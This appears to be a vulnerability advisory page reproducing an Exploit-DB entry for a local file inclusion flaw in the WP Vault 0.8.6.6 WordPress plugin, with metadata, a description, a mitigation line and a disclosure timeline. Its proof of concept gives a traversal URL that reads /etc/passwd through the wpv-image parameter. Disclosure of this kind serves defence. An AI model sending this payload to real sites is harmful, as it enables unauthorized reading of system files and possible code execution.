WP Vault 0.8.6.6 – Plugin WordPress – Local File Inclusion

vendor:

WP Vault

by:

Lenon Leite

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: WP Vault

Affected Version From: 0.8.6.6

Affected Version To: 0.8.6.6

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:wp_vault

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 14.04

2016

WP Vault 0.8.6.6 – Plugin WordPress – Local File Inclusion

$_GET[“wpv-image”] is not escaped in include file, allowing an attacker to include a file from the local system or a remote system. An attacker can use this vulnerability to include a malicious file from the local system or a remote system and execute arbitrary code on the vulnerable system.

Mitigation:

Ensure that user input is properly sanitized and escaped before being used in an include statement.

Source

Exploit-DB raw data:

# Exploit Title:  WP Vault 0.8.6.6 – Plugin WordPress – Local File Inclusion
# Date: 28/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-vault/
# Software Link: https://wordpress.org/plugins/wp-vault/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 0.8.6.6
# Tested on: Ubuntu 14.04

1 - Description:

$_GET[“wpv-image”] is not escaped in include file.

http://lenonleite.com.br/en/blog/2016/11/30/wp-vault-0-8-6-6-local-file-inclusion/


2 - Proof of Concept:

http://Target/?wpv-image=[LFI]

http://Target/?wpv-image=../../../../../../../../../../etc/passwd

3 - Timeline:

12/11/2016 - Discovered
12/11/2016 - vendor not found